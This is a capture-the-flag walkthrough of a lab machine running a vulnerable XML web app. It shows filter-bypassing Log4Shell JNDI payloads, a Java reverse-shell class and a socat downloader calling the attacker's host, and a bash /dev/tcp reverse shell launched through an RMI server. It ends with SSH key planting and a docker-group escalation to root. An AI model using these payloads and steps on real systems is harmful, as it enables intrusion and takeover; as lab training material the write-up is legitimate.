A Devious Challenge for a Modern 0-day Link to heading
The recent log4j exploit made waves in the Java world when a major exploit using a relatively obscure part of the language was discovered. In this room, we’ll exploit this exploit in several different ways and see what’s hiding behind this seemingly innocuous website.
Reconnaissance Link to heading
Once we’ve booted the machine, let’s see what’s on there. Using nmap this time, we’ll perform the scan in 2 parts.
In the first part we’ll see what ports are actually open:
sudo nmap -sS -p- -T4 -v $RHOSTS
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-17 14:58 CET
Initiating Ping Scan at 14:58
Scanning 10.10.254.224 [4 ports]
Completed Ping Scan at 14:58, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:58
Completed Parallel DNS resolution of 1 host. at 14:58, 1.04s elapsed
Initiating SYN Stealth Scan at 14:58
Scanning 10.10.254.224 [65535 ports]
Discovered open port 22/tcp on 10.10.254.224
Discovered open port 8080/tcp on 10.10.254.224
SYN Stealth Scan Timing: About 18.13% done; ETC: 15:00 (0:02:20 remaining)
SYN Stealth Scan Timing: About 38.53% done; ETC: 15:00 (0:01:37 remaining)
SYN Stealth Scan Timing: About 60.69% done; ETC: 15:00 (0:00:59 remaining)
Completed SYN Stealth Scan at 15:00, 138.79s elapsed (65535 total ports)
Nmap scan report for 10.10.254.224
Host is up (0.030s latency).
Not shown: 65389 filtered tcp ports (no-response), 143 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
9090/tcp closed zeus-admin
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 140.14 seconds
Raw packets sent: 131026 (5.765MB) | Rcvd: 147 (10.452KB)
We can see 2 ports open here, let’s see what’s on these:
sudo nmap -sCV $RHOSTS -p 22,8080 -T4 -v
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-17 15:05 CET
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
Initiating Ping Scan at 15:05
Scanning 10.10.254.224 [4 ports]
Completed Ping Scan at 15:05, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:05
Completed Parallel DNS resolution of 1 host. at 15:05, 1.03s elapsed
Initiating SYN Stealth Scan at 15:05
Scanning 10.10.254.224 [2 ports]
Discovered open port 22/tcp on 10.10.254.224
Discovered open port 8080/tcp on 10.10.254.224
Completed SYN Stealth Scan at 15:05, 0.11s elapsed (2 total ports)
Initiating Service scan at 15:05
Scanning 2 services on 10.10.254.224
Completed Service scan at 15:06, 62.85s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.254.224.
Initiating NSE at 15:06
Completed NSE at 15:06, 1.28s elapsed
Initiating NSE at 15:06
Completed NSE at 15:06, 0.08s elapsed
Initiating NSE at 15:06
Completed NSE at 15:06, 0.00s elapsed
Nmap scan report for 10.10.254.224
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 d5:33:1f:04:50:a3:f8:9b:a5:d5:55:10:04:52:83:69 (RSA)
| 256 4a:89:06:8b:1e:23:03:4a:7c:c4:92:6b:0f:84:3e:f8 (ECDSA)
|_ 256 9e:5c:da:fa:ae:39:d1:bb:7f:3d:84:9d:e9:a8:c9:62 (ED25519)
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Transfer-Encoding: chunked
| Content-Type: text/html; charset=UTF-8| <!DOCTYPE html>
| <html class="no-js">
| <head>
| <link rel="icon" href="/assets/img/favicon.png" type="image/png">
| <link rel="stylesheet" href="/styles.css" type="text/css">
| <script>(function(e,t,n){var r=e.querySelectorAll('html')[0];r.className=r.className.replace(/(^|s)no-js(s|$)/,'$1js$2')})(document,window,0);</script>
| <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
| <script src="assets/js/upload.js" defer="defer"></script>
| </head>
| <body>
| <nav><a href="/">HOME</a></nav>
| <section>
| <div class="no-resize centre"><img src="assets/img/Shaker.png"></div>
| class="centre">Welcome to the premier XML shaking website on the market! This site will help you shake up your plain boring XML files by throwing your tags aroun
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Transfer-Encoding: chunked
| Content-Type: text/html; charset=UTF-8| <!DOCTYPE html>
| <html>
| <head>
| <link rel="icon" href="/assets/img/favicon.png" type="image/png">
| <link rel="stylesheet" href="/styles.css" type="text/css">
| </head>
| <body>
| <nav><a href="/">HOME</a></nav>
| <section>
| class="page-title">Not Found</h1>
| class="centre">The requested content was not found</p>
| </section>
| </body>
|_ </html>
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Supported Methods: GET
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port8080-TCP:V=7.92%I=7%D=12/17%Time=61BC9917%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,591,"HTTP/1\.1\x20200\x20OK\r\nTransfer-Encoding:\x20chunked\
SF:r\nContent-Type:\x20text/html;\x20charset=UTF-8\r\n\r\n52e\r\n<!DOCTYPE
SF:\x20html>\n<html\x20class=\"no-js\">\n\x20\x20<head>\n\x20\x20\x20\x20<
SF:link\x20rel=\"icon\"\x20href=\"/assets/img/favicon\.png\"\x20type=\"ima
SF:ge/png\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/style
SF:s\.css\"\x20type=\"text/css\">\n\x20\x20\x20\x20<script>\(function\(e,t
SF:,n\){var\x20r=e\.querySelectorAll\('html'\)\[0\];r\.className=r\.classN
SF:ame\.replace\(/\(\^\|\\s\)no-js\(\\s\|\$\)/,'\$1js\$2'\)}\)\(document,w
SF:indow,0\);</script>\n\x20\x20\x20\x20<script\x20src=\"https://cdnjs\.cl
SF:oudflare\.com/ajax/libs/jquery/3\.6\.0/jquery\.min\.js\"></script>\n\x2
SF:0\x20\x20\x20<script\x20src=\"assets/js/upload\.js\"\x20defer=\"defer\"
SF:></script>\n\x20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<nav><a\x2
SF:0href=\"/\">HOME</a></nav>\n\x20\x20\x20\x20<section>\n\x20\x20\x20\x20
SF:\x20\x20<div\x20class=\"no-resize\x20centre\"><img\x20src=\"assets/img/
SF:Shaker\.png\"></div>\n\x20\x20\x20\x20\x20\x20<p\x20class=\"centre\">We
SF:lcome\x20to\x20the\x20premier\x20XML\x20shaking\x20website\x20on\x20the
SF:\x20market!\x20This\x20site\x20will\x20help\x20you\x20shake\x20up\x20yo
SF:ur\x20plain\x20boring\x20XML\x20files\x20by\x20throwing\x20your\x20tags
SF:\x20aroun")%r(HTTPOptions,1E1,"HTTP/1\.1\x20404\x20Not\x20Found\r\nTran
SF:sfer-Encoding:\x20chunked\r\nContent-Type:\x20text/html;\x20charset=UTF
SF:-8\r\n\r\n177\r\n<!DOCTYPE\x20html>\n<html>\n\x20\x20<head>\n\x20\x20\x
SF:20\x20<link\x20rel=\"icon\"\x20href=\"/assets/img/favicon\.png\"\x20typ
SF:e=\"image/png\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\
SF:"/styles\.css\"\x20type=\"text/css\">\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<nav><a\x20href=\"/\">HOME</a></nav>\n\x20\x20\x20\x20
SF:<section>\n\x20\x20\x20\x20\x20\x20<h1\x20class=\"page-title\">Not\x20F
SF:ound</h1>\n\x20\x20\x20\x20\x20\x20<p\x20class=\"centre\">The\x20reques
SF:ted\x20content\x20was\x20not\x20found</p>\n\x20\x20\x20\x20</section>\n
SF:\x20\x20</body>\n</html>\n\r\n0\r\n\r\n");
NSE: Script Post-scanning.
Initiating NSE at 15:06
Completed NSE at 15:06, 0.00s elapsed
Initiating NSE at 15:06
Completed NSE at 15:06, 0.00s elapsed
Initiating NSE at 15:06
Completed NSE at 15:06, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.14 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
So we have a port open on 22 confirmed to be SSH, and one on 8080 which looks to be an http server. Let’s take a look at that one.
Walking the Golden Path Link to heading
Loading up the site, we can see that it proposes a tool to “mix up” our XML files (why?!?).
Already we can probably think of an XXE attack, but let’s throw in a testing file to see what we get:
Uploading the file, we then get:
Crouching XML, Hidden XXE Link to heading
There doesn’t seem to be anywhere else for us to go. Let’s try a classic XXE detection payload from Payload All The Things
Trying this payload immediately throws an error saying that our XML is invalid. Hmm.
Let’s take a look at the source code. In the main page we see nothing interesting. However, when we mix a file, we can see a comment in the source:
<!--Added some brute-force protection to the logs folder. They'll be in a folder suffixed by a totally secure random 4 digit pin -Bob-->
Brute force, eh?
let’s try and see what we can find. We know that there’s a logs folder and that it’s suffixed by a 4-digit number.
Brute Force Heroes Link to heading
Let’s try a basic brute force with feroxbuster.
feroxbuster -u http://$RHOSTS:8080 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.4.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.179.105:8080
π Threads β 50
π Wordlist β /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
π Status Codes β [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.4.0
π Config File β /home/hydra/.config/feroxbuster/ferox-config.toml
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Cancel Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
302 0l 0w 0c http://10.10.179.105:8080/debug
[####################] - 3s 4702/4702 0s found:1 errors:0
[####################] - 3s 4702/4702 1288/s http://10.10.179.105:8080
debug
redirects…maybe there’s something more here let’s assume that the logs folder begins with logs
, and we append a number afterwards.
We can create a wordlist with the seq
command, then launch ffuf
.
seq -w 0 9999 > nums.txt
ffuf -u http://$RHOSTS:8080/debug/logsFUZZ -w nums.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.179.105:8080/debug/logsFUZZ
:: Wordlist : FUZZ: nums.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
2431 [Status: 200, Size: 3875, Words: 271, Lines: 67, Duration: 32ms]
:: Progress: [10000/10000] :: Job [1/1] :: 1115 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
Going to http://$RHOSTS:8080/debug/logs2431
gives us our logs!
We still have no clue as to why the XXE payload failed, but we see that the output is clearly logged! Maybe this new log4j vulnerability can help.
Log4Shell Link to heading
Let’s see if this application is vulnerable to the Log4Shell exploit.
We can startup a simple nc
listener on any port, I’ll use 1389
. First we need an XML file containing the magic string:
<test>${jndi:ldap://$LHOST:1389/Log4Shell}</test>
and a listener:
nc -lvnp 1389
Listening on 0.0.0.0 1389
Let’s upload our file and see what happens.
Well darn. It seems that there may be a filter in place. Let’s check the logs to see what happened.
2021-12-21 16:41:43,824 INFO Application [DefaultDispatcher-worker-2] Hello called
2021-12-21 16:44:40,485 INFO Application [DefaultDispatcher-worker-1] Logging file 3dcd1ff7738c8984.xml
2021-12-21 16:44:43,982 INFO t.x.s.Mixer [DefaultDispatcher-worker-1] JNDI injection detected. Rejecting!
It looks like our attempt was detected, let’s try to be a bit sneakier with a new xml file:
<test>${${::-j}ndi:ldap://$LHOST:1389/Log4Shell}</test>
Huzzah! The server pings back an ldap query (though it looks like gibberish). This means that we are getting some info back, and that we can probably get ourselves a reverse shell. Do do this, we have a bit of setup to do.
LDAP Marshaller Link to heading
First we need something to marshal the LDAP call to a java class file. We can use the marshalsec project to do this for us. Clone the repo, then create the jar with the mvn clean package -DskipTests
command.
We can then run the marshaller with the java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$LHOST:8888/#Log4Shell"
command.
HTTP Server Link to heading
We also need an HTTP server. For this we can simply use python’s http.server
module: python3 -m http.server 8888
Java Payload Class Link to heading
The last thing that we need to generate is our payload class. We’ll need to call the source file Log4Shell.java
as that’s the class that we told the marshaller to look up.
For this exploit, I’m using a slightly modified Java#3 payload from the Reverse Shell Generator
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Log4Shell {
static {
String host = "$LHOST";
int port = 4242;
String cmd = "/bin/sh";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
} catch (Exception e) {
}
}
}
We compile this code using javac Log4Shell.java
Putting it all together Link to heading
Putting everything together, we finally launch an nc
listener of the specified port and upload our xml file again. If we did everything correctly, we should receive a connection back to our listener and we can grab our first flag.
Listening on 0.0.0.0 4242
Connection received on 10.10.194.188 59672
whoami
whoami: unknown uid 1000
ls
bin
lib
logs
uploads
user.txt
wc user.txt
3 9 90 user.txt
Stabilizing Our Shell Link to heading
From here we have very few options for stabilizing our shell, as there is not much actually available on the server. I tend to like abusing socat, but first we’ll have to get it on our target. One way could be to use our Log4Shell payload to upload the socat and run it.
import java.io.InputStream;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.net.URL;
public class Log4Shell {
static {
String url = "http://$LHOST:8888/socat";
String filename = "./socat";
String cmd = "./socat TCP:$LHOST:4242 EXEC:'/bin/sh',pty,stderr,setsid,sigint,sane &";
try {
InputStream in = new URL(url).openStream();
Files.copy(in, Paths.get(filename), StandardCopyOption.REPLACE_EXISTING);
File file = new File(filename);
if(file.exists()){
file.setReadable(true);
file.setExecutable(true);
file.setWritable(false);
}
Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
p.waitFor();
} catch (Exception e) {
}
}
}
Now we have a nice stable shell!
Phase 2, Escape! Link to heading
Exploring around, we can see that we’re in a docker container. However, we don’t have anything on the container itself. We also know how to upload arbitrary files though, and we have Java on the machine. Uploading files via the XML form is a bit of a pain, so let’s make a basic http client.
HTTP Client Link to heading
So I made a very simple HTTP client using ktor and uploaded it to my github here: Kotlin HTTP Client. We can grab it, and build a shadow jar using ./gradlew shadowJar
. To upload it, we’ll take our Java payload that we used to grab a shell and upload the jar.
import java.io.InputStream;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.net.URL;
public class Log4File {
static {
String url = "http://$LHOST:8888/kotlin-http-client-1.0-SNAPSHOT-all.jar";
String filename = "./kotlin-http-client-1.0-SNAPSHOT-all.jar";
try {
InputStream in = new URL(url).openStream();
Files.copy(in, Paths.get(filename), StandardCopyOption.REPLACE_EXISTING);
File file = new File(filename);
if(file.exists()){
file.setReadable(true);
file.setExecutable(true);
file.setWritable(false);
}
} catch (Exception e) {
}
}
}
Looking around Link to heading
Looking around we see that we’re using a busybox, and so are probably on an Alpine container. Let’s see if we can access anything outside our current host. First let’s get our internal IP address and poke around.
ip a
1: lo: mtu 65536 qdisc noqueue qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
5: eth0@if6: mtu 1500 qdisc noqueue
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
We’ll want to see if anything is available on the host at 172.18.0.1
For this we’ll need a port scanner. Now we could upload a static nmap and use that, but that’s no fun. Let’s make one in Java! (or Kotlin, Kotlin is nice as well).
Port Scanner Link to heading
So I spent more time than I would hare for to make a basic port scanner in kotlin: Kotlin Port Scanner. Once again we can build a shadow jar using ./gradlew shadowJar
. Using our http client to grab the jar,
java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar http://$LHOST:8888/kotlin-port-scanner-1.0-SNAPSHOT-all.jar -o kotlin-port-scanner-1.0-SNAPSHOT-all.jar
200 OK
Saved to kotlin-port-scanner-1.0-SNAPSHOT-all.jar
Launching our port scanner, we can see 3 ports open on the target:
java -jar kotlin-port-scanner-1.0-SNAPSHOT-all.jar -t 100 172.18.0.1
Ports Scanned 98% ββββββββββββββββββββ 64494/65536 (0:00:12 / 0:00:00)
172.18.0.1:22 :: OPEN
172.18.0.1:8080 :: OPEN
172.18.0.1:8888 :: OPEN
Exploring a suspicious service Link to heading
2 of these ports we had already seen on our initial nmap scan, which leaves port 8888 as being suspicious. Port 8888 is a reasonably common HTTP port for development servers, so let’s try hitting it with our HTTP client.
java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v http://172.18.0.1:8888
Received 91 bytes from -1
Exception in thread "main" io.ktor.client.features.ClientRequestException: Client request(http://172.18.0.1:8888/) invalid: 400 . Text: "{"timestamp":"2021-12-22T10:41:44.919+00:00","status":400,"error":"Bad Request","path":"/"}"
at io.ktor.client.features.DefaultResponseValidationKt$addDefaultResponseValidation$1$1.invokeSuspend(DefaultResponseValidation.kt:47)
at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:33)
at kotlinx.coroutines.DispatchedTask.run(DispatchedTask.kt:106)
at kotlinx.coroutines.EventLoopImplBase.processNextEvent(EventLoop.common.kt:277)
at kotlinx.coroutines.BlockingCoroutine.joinBlocking(Builders.kt:87)
at kotlinx.coroutines.BuildersKt__BuildersKt.runBlocking(Builders.kt:61)
at kotlinx.coroutines.BuildersKt.runBlocking(Unknown Source)
at kotlinx.coroutines.BuildersKt__BuildersKt.runBlocking$default(Builders.kt:40)
at kotlinx.coroutines.BuildersKt.runBlocking$default(Unknown Source)
at MainKt.main(Main.kt:44)
Ok so that failed. Let’s try an OPTIONS request to see what we can see:
java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -X OPTIONS http://172.18.0.1:8888
Received 0 bytes from 0
200
Required: X-Api-Version
Allow: GET,OPTIONS
Content-Length: 0
Date: Wed, 22 Dec 2021 10:43:20 GMT
--------------------
It looks like we need an X-Api-Version
header. Let’s try it
java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -H "X-Api-Version:Hello" http://172.18.0.1:8888
Received 13 bytes from 13
200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Wed, 22 Dec 2021 11:03:08 GMT
--------------------
Hello, world!
Now the hint says that bob was researching a certain CVE. Is this another log4shell attempt? Let’s try and wee if we can get a pingback again.
Log4Shell again? Link to heading
java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -H 'X-Api-Version:${jndi:ldap://$LHOST:1389/Log4Shell}' http://172.18.0.1:8888
Received 92 bytes from -1
Exception in thread "main" io.ktor.client.features.ClientRequestException: Client request(http://172.18.0.1:8888/) invalid: 418 . Text: "{"timestamp":"2021-12-22T11:09:57.193+00:00","status":418,"error":"I'm a teapot","path":"/"}"
at io.ktor.client.features.DefaultResponseValidationKt$addDefaultResponseValidation$1$1.invokeSuspend(DefaultResponseValidation.kt:47)
at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:33)
at kotlinx.coroutines.DispatchedTask.run(DispatchedTask.kt:106)
at kotlinx.coroutines.EventLoopImplBase.processNextEvent(EventLoop.common.kt:277)
at kotlinx.coroutines.BlockingCoroutine.joinBlocking(Builders.kt:87)
at kotlinx.coroutines.BuildersKt__BuildersKt.runBlocking(Builders.kt:61)
at kotlinx.coroutines.BuildersKt.runBlocking(Unknown Source)
at kotlinx.coroutines.BuildersKt__BuildersKt.runBlocking$default(Builders.kt:40)
at kotlinx.coroutines.BuildersKt.runBlocking$default(Unknown Source)
at MainKt.main(Main.kt:44)
There be shenanigans afoot! So we are definitely seeing something here, and the response code suggests that Bob is being cheeky and is likely filtering here. Let’s try some bypasses.
java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -H 'X-Api-Version:${${::-j}ndi:ldap://$LHOST:1389/Log4Shell}' http://172.18.0.1:8888
Received 13 bytes from 13
200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Wed, 22 Dec 2021 11:15:47 GMT
--------------------
Hello, world!
We aren’t getting any ping back which suggests that either the JVM is more recent or there are other shenanigans afoot. From what we can see, we are probably seeing a java application on the back end, and we can guess that it might be Spring Boot or Tomcat. If this is indeed the case, then we have an alternative. Using the RMI (Remote Method Invocation) interface, we can create an RMI registry which will send over some code to execute locally, and using a Spring Boot/Tomcat component create and execute our command.
Borrowing from the internets, I hacked together a simple evil RMI server we can use: Evil RMI Server. We’ll need to launch a new socat listener so that we can control both the server and the http client.
Then, using a simple bash reverse shell, we launch the RMI server, and set up our listener.
java -jar evilRMI.jar '$@| /bin/bash -i >& /dev/tcp/$LHOST/4244 0>&1'
Creating evil RMI registry on port 1097
Up!
We can then call the api on the server-side with our client
java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -H 'X-Api-Version:${jnd${::-i}:r${::-m}i://172.18.0.2:1097/Object}' http://172.18.0.1:8888
Received 13 bytes from 13
200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Wed, 22 Dec 2021 11:48:16 GMT
--------------------
Hello, world!
And…Bingo!
Bob Link to heading
Let’s see what we can do to stabilize this shell on bob. Looking around we see that we can use ssh
cd ~
ls -la
total 20
drwx------. 7 bob bob 201 Dec 19 01:12 .
drwxr-xr-x. 4 root root 35 Dec 16 14:34 ..
lrwxrwxrwx. 1 bob bob 9 Dec 16 14:37 .bash_history -> /dev/null
-rw-r--r--. 1 bob bob 18 Jul 27 16:21 .bash_logout
-rw-r--r--. 1 bob bob 141 Jul 27 16:21 .bash_profile
-rw-r--r--. 1 bob bob 559 Dec 16 14:38 .bashrc
drwxrwxr-x. 9 bob bob 108 Dec 16 15:02 .gradle
drwxrwxr-x. 7 bob bob 238 Dec 16 15:10 log4shell-vulnerable-app
drwxrwxr-x. 11 bob bob 121 Dec 16 14:38 .sdkman
drwxrwxr-x. 2 bob bob 33 Dec 16 15:32 shaker
drwx------. 2 bob bob 29 Dec 19 01:13 .ssh
-rw-rw-r--. 1 bob bob 50 Dec 16 14:47 user.txt
-rw-rw-r--. 1 bob bob 183 Dec 16 14:38 .zshrc
wc user.txt
1 1 50 user.txt
Let’s generate an ssh key locally and add it to Bob’s authorized_keys
ssh-keygen -t ed25519 -C bob@shaker
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/hydra/.ssh/id_ed25519): bob
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bob
Your public key has been saved in bob.pub
The key fingerprint is:
SHA256:TBvb6BKED54fxLxe+6rjTa2KRToxSdH9+CAV3UqGP28 bob@shaker
The key's randomart image is:
+--[ED25519 256]--+
| .. ..+ . |
| =. + + . |
| + =.o* . |
| o B.+o*= |
| * *.So.o |
| B = o. E |
| o = + .. |
| +.+ o |
| ..+++.. |
+----[SHA256]-----+
cat bob.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICD4+oviYeyc8IpJfdR7ET9eZRA6w2sO9mHAqaTooZJ/ bob@shaker
Copy the public key into the authorized_keys
and ssh in.
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICD4+oviYeyc8IpJfdR7ET9eZRA6w2sO9mHAqaTooZJ/ bob@shaker' >> authorized_keys
ZRA6w2sO9mHAqaTooZJ/ bob@shaker' >> authorized_keys
cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHUp2atLzqeJqnFBXJE9zUFuB7cX3n31xBtMunMdDHaY bob@shaker
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICD4+oviYeyc8IpJfdR7ET9eZRA6w2sO9mHAqaTooZJ/ bob@shaker
ssh bob@$RHOSTS -i bob
Last login: Sun Dec 19 17:18:33 2021
[bob@shaker ~]$
Checking Bob’s groups with the id
command should that he’s part of the docker group, which can allow us to spin up a docker container with relative ease.
id
uid=1001(bob) gid=1001(bob) groups=1001(bob),990(docker) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
shaker latest 9afd77f60542 2 days ago 118MB
docker run -it -v "/:/mnt/host" shaker /bin/sh
cd /mnt/host/root
/bin/sh: cd: can't cd to /mnt/host/root: Permission denied
whoami
whoami: unknown uid 1000
Well damn, the container is forcing us to run as bob!
Loading a New Docker Image Link to heading
Let’s try to manually load an Alpine image. First on the attacker machine, pull the alpine image and save it to a tar:
docker pull alpine
Using default tag: latest
latest: Pulling from library/alpine
59bf1c3509f3: Pull complete
Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest
docker save alpine -o alpine.tar
scp -i bob alpine.tar bob@$RHOSTS:~/alpine.tar
alpine.tar 100% 5738KB 8.2MB/s 00:00
Then on the other side, we can load in the tar file to a new image
docker load -i alpine.tar
8d3ac3489996: Loading layer 5.866MB/5.866MB
Loaded image: alpine:latest
docker run -it -v "/:/mnt/host" alpine /bin/sh
We can then chroot
to /mnt/host
for ease of use, and grab the root flag.
chroot /mnt/host
cat: /proc/7/comm: No such file or directory
cd ~
ls
anaconda-ks.cfg root.txt
wc root.txt
1 1 50 root.txt
Boom Goes the Box! Link to heading
Here we are at least, all the flags and a good amount of hassle and some custom coding. This box goes to show that even if you follow all the best practices for creating docker images, you still aren’t completely safe if a vulnerable service lives on the host. We can use the container as a pivot to cause further havoc, and thus compromise more than one might think.
Alternate exploit paths seen in testing included popping a chisel proxy to assist in the pivot, and one enterprising tester uploaded a busybox replacement which enabled things like nc, wget and so on. Cheers to OmegaVoid (His site can be found here: https://www.omegavo.id/) for helping with the testing as well as Fluffy.